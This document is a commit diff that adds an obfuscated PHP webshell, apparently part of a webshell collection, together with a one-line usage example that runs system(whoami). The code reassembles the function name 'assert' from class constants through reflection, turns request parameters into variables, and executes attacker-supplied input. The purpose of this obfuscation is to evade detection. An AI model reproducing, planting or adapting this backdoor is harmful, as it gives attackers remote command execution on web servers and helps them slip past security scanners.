Create getConstants2.php

use: xxx/webshell/1?<>=system(whoami)
from : https://xz.aliyun.com/t/8684

php/getConstants2.php

@@ -0,0 +1,24 @@
+<?php
+
+class Test
+{
+    const a = array(1=>'aS',2=>'se',3=>'rT');
+
+    public function __construct()
+    {
+    }
+}
+
+$refl = new ReflectionClass('Test');
+
+foreach ($refl->getConstants() as $key => $value) {
+    foreach ($value as $key => $value1) {
+        $value2.=$value1;
+    }
+}
+foreach (array('_POST','_GET') as $_request) {
+    foreach ($$_request as $_key=>$_value) {
+        $$_key=  $_value;
+    }
+}
+$value2($_value);